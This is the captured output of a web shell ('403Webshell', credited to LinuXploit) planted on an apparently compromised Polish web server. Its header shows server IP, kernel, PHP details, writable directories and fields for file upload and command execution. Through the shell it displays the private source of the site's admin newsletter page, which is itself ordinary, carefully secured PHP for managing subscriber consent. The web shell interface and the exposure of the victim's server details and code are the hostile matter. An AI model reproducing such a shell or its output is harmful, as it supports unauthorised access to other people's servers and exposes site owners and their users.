403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/polana-newsletter.php
<?php
declare(strict_types=1);
/** Newsletter: admin-only list, filters, verified opt-ins, CSV and withdrawals. */
require_once dirname(__DIR__) . '/includes/functions.php';
require_once dirname(__DIR__) . '/includes/polana_v172_newsletter.php';
require_admin_role();
header('Cache-Control: private, no-store, max-age=0');
header('X-Robots-Tag: noindex,nofollow');

function pn172_e($v): string { return htmlspecialchars((string)$v, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); }
function pn172_url(array $pairs=[]): string { return '/admin/polana-newsletter.php?' . http_build_query(array_merge(['status'=>$_GET['status']??'all','q'=>$_GET['q']??''], $pairs)); }
function pn172_filters(): array {
    $status = (string)($_GET['status']??'all');
    if (!in_array($status, ['all','active','pending','unsubscribed'], true)) $status='all';
    $q = trim((string)($_GET['q']??''));
    $q = mb_substr($q,0,100,'UTF-8');
    $where=[]; $p=[];
    if ($status !== 'all') { $where[]='status=?'; $p[]=$status; }
    if ($q !== '') { $where[]='(email LIKE ? OR name LIKE ?)'; $p[]='%'.$q.'%'; $p[]='%'.$q.'%'; }
    return ['sql'=>$where?' WHERE '.implode(' AND ',$where):'', 'params'=>$p,'status'=>$status,'q'=>$q];
}
function pn172_query(string $sql, array $params=[]): PDOStatement {
    $stmt=newsletter_db()->prepare($sql); $stmt->execute($params); return $stmt;
}

try { pv172_upgrade_schema(); }
catch (Throwable $ex) {
    render_admin_header('Newsletter — wymagana instalacja');
    echo '<div class="card"><h1>Newsletter wymaga instalacji V17.2</h1><p>'.pn172_e($ex->getMessage()).'</p><a class="btn" href="/admin/polana-v172-instalator.php">Otwórz instalator</a></div>';
    render_admin_footer(); exit;
}

if (($_SERVER['REQUEST_METHOD']??'GET')==='POST') {
    verify_csrf();
    $id = (int)($_POST['id']??0);
    try {
        if ((string)($_POST['action']??'')!=='withdraw' || $id<1) throw new RuntimeException('Nieprawidłowe działanie.');
        // Unsubscribe, never reactivate an address without fresh verified consent.
        $s=pn172_query('UPDATE newsletter_subscribers SET status="unsubscribed", withdrawn_at=NOW(), verify_token=NULL WHERE id=? AND status IN ("active","pending")',[$id]);
        admin_log('newsletter_unsubscribe', 'Wycofano zgodę subskrybenta #'.$id);
        flash('success',$s->rowCount()?'Zapis wycofany. Adres nie będzie używany do kampanii.':'Brak aktywnego zapisu do wycofania.');
    } catch(Throwable $ex) { flash('error','Nie wykonano operacji: '.$ex->getMessage()); }
    redirect('/admin/polana-newsletter.php');
}
$filters=pn172_filters();
if ((string)($_GET['export']??'')==='csv') {
    // Export only confirmed active subscribers by default; explicit other statuses are labelled.
    $allowed=(string)($_GET['status']??'active');
    if ($allowed==='all') $allowed='active';
    if (!in_array($allowed,['active','pending','unsubscribed'],true)) $allowed='active';
    $q=$filters['q']; $sql=' WHERE status=?'; $params=[$allowed];
    if ($allowed==='active') $sql.=' AND verified_at IS NOT NULL'; // exclude unverified legacy records from mailing export
    if($q!==''){$sql.=' AND (email LIKE ? OR name LIKE ?)';$params[]='%'.$q.'%';$params[]='%'.$q.'%';}
    $stmt=pn172_query('SELECT email,name,source,status,consent_at,verified_at,withdrawn_at FROM newsletter_subscribers'.$sql.' ORDER BY created_at DESC LIMIT 50000',$params);
    header('Content-Type: text/csv; charset=utf-8');
    header('Content-Disposition: attachment; filename="polana-newsletter-'.date('Ymd-His').'-'.$allowed.'.csv"');
    header('X-Content-Type-Options: nosniff');
    echo "\xEF\xBB\xBF";
    $fh=fopen('php://output','wb');
    fputcsv($fh,['E-mail','Imię','Źródło','Status','Data zgody','Data potwierdzenia','Data wypisania'],';');
    while($row=$stmt->fetch(PDO::FETCH_NUM)){
        // Guard spreadsheet viewers against CSV formula injection.
        $clean=[];
        foreach($row as $v){$v=(string)($v??'');if(preg_match('/^\s*[=+\-@\t\r]/u',$v))$v="'".$v;$clean[]=$v;}
        fputcsv($fh,$clean,';');
    }
    fclose($fh); exit;
}

$counts=['all'=>0,'active'=>0,'pending'=>0,'unsubscribed'=>0];
$verifiedCount=(int)pn172_query('SELECT COUNT(*) FROM newsletter_subscribers WHERE status="active" AND verified_at IS NOT NULL')->fetchColumn();
foreach(pn172_query('SELECT status,COUNT(*) AS n FROM newsletter_subscribers GROUP BY status')->fetchAll(PDO::FETCH_ASSOC) as $c){
    $counts[(string)$c['status']]=(int)$c['n'];$counts['all']+=(int)$c['n'];
}
$page=max(1,min(100000,(int)($_GET['page']??1))); $per=35;
$total=(int)pn172_query('SELECT COUNT(*) FROM newsletter_subscribers'.$filters['sql'],$filters['params'])->fetchColumn();
$pages=max(1,(int)ceil($total/$per));$page=min($page,$pages);
$offset=($page-1)*$per;
$st=pn172_query('SELECT id,email,name,source,status,consent_at,verified_at,verification_sent_at,withdrawn_at FROM newsletter_subscribers'.$filters['sql'].' ORDER BY created_at DESC, id DESC LIMIT '.$per.' OFFSET '.$offset,$filters['params']);
$rows=$st->fetchAll(PDO::FETCH_ASSOC);
$smtpOk=setting('smtp_enabled','0')==='1'&&smtp_password_is_set()&&smtp_password()!=='';
render_admin_header('Newsletter — lista i zgody');
?>
<style>
.pn172{max-width:1350px;margin:0 auto 65px;padding:15px;color:#20382e}.pn172 *{box-sizing:border-box}.pn172 h1{font-size:clamp(25px,3vw,36px);margin:0 0 9px}.pn172 p{line-height:1.6}.pn172 .links{display:flex;flex-wrap:wrap;gap:9px;margin-bottom:18px}.pn172 a.button,.pn172 button.button{border:0;text-decoration:none;display:inline-flex;align-items:center;justify-content:center;border-radius:11px;background:#185e44;color:white;padding:11px 15px;min-height:43px;font:inherit;font-weight:700;cursor:pointer}.pn172 .links a{background:#e5eee8;color:#1a563d}.pn172 .stats{display:grid;grid-template-columns:repeat(4,1fr);gap:12px;margin:20px 0}.pn172 .stat{background:#fff;border:1px solid #d7e1da;border-radius:14px;padding:17px}.pn172 .stat b{display:block;font-size:26px}.pn172 .stat span{color:#5a6a60;font-size:13px}.pn172 .panel{background:#fff;border:1px solid #d7e1da;border-radius:16px;padding:18px;margin:15px 0}.pn172 .filters{display:flex;align-items:end;gap:12px;flex-wrap:wrap}.pn172 label{display:grid;gap:7px;font-weight:650}.pn172 input,.pn172 select{border:1px solid #aabeb0;border-radius:10px;padding:12px;min-height:45px;font:inherit;max-width:100%}.pn172 .scroll{overflow-x:auto}.pn172 table{width:100%;border-collapse:collapse}.pn172 th,.pn172 td{text-align:left;padding:13px 10px;border-bottom:1px solid #e5ece7;font-size:14px;vertical-align:middle}.pn172 th{white-space:nowrap;color:#45624f}.pn172 td.email{font-weight:650;word-break:break-word}.pn172 small{display:block;color:#64736a}.pn172 .pill{display:inline-block;border-radius:99px;padding:4px 10px;font-size:12px;background:#e5f3eb;color:#23553b;white-space:nowrap}.pn172 .pill.pending{background:#fff1d5;color:#70450f}.pn172 .pill.unsubscribed{background:#eeeeee;color:#565656}.pn172 button.danger{border:1px solid #d4b2b0;background:#fff3f3;color:#962c26;border-radius:8px;padding:8px 12px;cursor:pointer;font:inherit}.pn172 .notice{border-left:4px solid #2a734d;background:#eef5f0;padding:12px 16px;border-radius:10px}.pn172 .pages{display:flex;gap:12px;align-items:center;margin-top:18px}.pn172 .pages a{padding:8px 15px;border-radius:8px;background:#eaf1ec;color:#194d34;text-decoration:none}@media(max-width:790px){.pn172 .stats{grid-template-columns:repeat(2,1fr)}.pn172 .panel{padding:12px}.pn172 th,.pn172 td{padding:9px 8px}}
</style>
<div class="pn172">
<div class="links"><a class="button" href="/admin/polana-komunikacja.php">← Centrum poczty</a><a class="button" href="/admin/polana-poczta.php">Poczta SMTP</a><a class="button" href="/admin/reservations.php">Rezerwacje</a><a class="button" href="/admin/polana-zarzadzanie.php">Zarządzanie</a></div>
<h1>Newsletter — lista subskrybentów</h1><p>Adresy z formularza w stopce i ze zgody podczas rezerwacji trafiają do MariaDB. Nowe zapisy wymagają potwierdzenia e-mail. Do wysyłki używaj tylko listy <strong>Potwierdzeni</strong>.</p>
<div class="stats">
<?php foreach(['all'=>'Wszystkie','active'=>'Potwierdzeni / aktywni','pending'=>'Oczekują na potwierdzenie','unsubscribed'=>'Wypisani'] as $key=>$label): ?>
<div class="stat"><b><?=pn172_e($counts[$key]??0)?></b><span><?=pn172_e($label)?></span></div>
<?php endforeach; ?></div>
<div class="notice"><strong>Do wysyłki kampanii masz <?=pn172_e($verifiedCount)?> adresów potwierdzonych kliknięciem.</strong> Eksport standardowy nie obejmuje starszych aktywnych zapisów bez daty weryfikacji — sprawdź ich podstawę zgody. <br><strong>Poczta SMTP:</strong> <?=$smtpOk?'Skonfigurowana — przetestuj dostarczenie':'Wymaga konfiguracji hasła i testu SMTP'?>. <a href="/admin/polana-poczta.php">Otwórz ustawienia poczty</a>.<br><small>Istniejące adresy, które były aktywne przed instalacją double opt-in, mają status aktywny bez daty potwierdzenia. Zweryfikuj udokumentowaną zgodę przed kampanią.</small></div>
<div class="panel"><form method="get" class="filters"><label>Wyszukaj adres lub imię<input type="search" name="q" value="<?=pn172_e($filters['q'])?>" placeholder="Wpisz e-mail lub imię" maxlength="100"></label><label>Status<select name="status"><option value="all" <?=$filters['status']==='all'?'selected':''?>>Wszystkie</option><option value="active" <?=$filters['status']==='active'?'selected':''?>>Potwierdzeni / aktywni</option><option value="pending" <?=$filters['status']==='pending'?'selected':''?>>Oczekujący</option><option value="unsubscribed" <?=$filters['status']==='unsubscribed'?'selected':''?>>Wypisani</option></select></label><button class="button" type="submit">Filtruj</button><a class="button" href="/admin/polana-newsletter.php">Wyczyść</a></form></div>
<div class="panel"><div class="links"><a class="button" href="/admin/polana-newsletter.php?status=active&export=csv">Eksport zweryfikowanych (CSV)</a><?php if($filters['status']!=='all'): ?><a class="button" href="<?=pn172_e(pn172_url(['export'=>'csv']))?>">Eksport bieżącego filtra (CSV)</a><?php endif; ?></div>
<p><strong><?=pn172_e($total)?></strong> rekordów w wybranym widoku (strona <?=pn172_e($page)?> / <?=pn172_e($pages)?>).</p>
<div class="scroll"><table><thead><tr><th>Adres e-mail</th><th>Źródło</th><th>Status</th><th>Zgoda / potwierdzenie</th><th>Działania</th></tr></thead><tbody>
<?php foreach($rows as $row): ?><tr><td class="email"><?=pn172_e($row['email'])?><?php if($row['name']):?><small><?=pn172_e($row['name'])?></small><?php endif;?></td><td><?=pn172_e($row['source'])?></td><td><span class="pill <?=pn172_e($row['status'])?>"><?=pn172_e(['active'=>'Aktywny','pending'=>'Czeka na kliknięcie','unsubscribed'=>'Wypisany'][$row['status']]??$row['status'])?></span></td><td><?=pn172_e($row['consent_at'])?><small><?=!empty($row['verified_at'])?'Potwierdzono: '.pn172_e($row['verified_at']):($row['status']==='active'?'Aktywny zapis sprzed V17.2':'Niepotwierdzony')?></small></td><td><?php if($row['status']!=='unsubscribed'):?><form method="post" onsubmit="return confirm('Wycofać zgodę tego adresu?');"><?=csrf_field()?><input type="hidden" name="action" value="withdraw"><input type="hidden" name="id" value="<?=pn172_e($row['id'])?>"><button type="submit" class="danger">Wypisz</button></form><?php else:?>—<?php endif;?></td></tr><?php endforeach;?>
<?php if(!$rows):?><tr><td colspan="5">Brak zapisów spełniających filtr.</td></tr><?php endif;?></tbody></table></div>
<?php if($pages>1):?><div class="pages"><?php if($page>1):?><a href="<?=pn172_e(pn172_url(['page'=>$page-1]))?>">← Poprzednia</a><?php endif;?><span><?=pn172_e($page)?> / <?=pn172_e($pages)?></span><?php if($page<$pages):?><a href="<?=pn172_e(pn172_url(['page'=>$page+1]))?>">Następna →</a><?php endif;?></div><?php endif;?></div>
<div class="notice">Dane osobowe eksportuj tylko w uzasadnionym celu i przechowuj poza publicznym katalogiem WWW. Wypisane oraz oczekujące adresy nie są listą odbiorców kampanii.</div>
</div>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit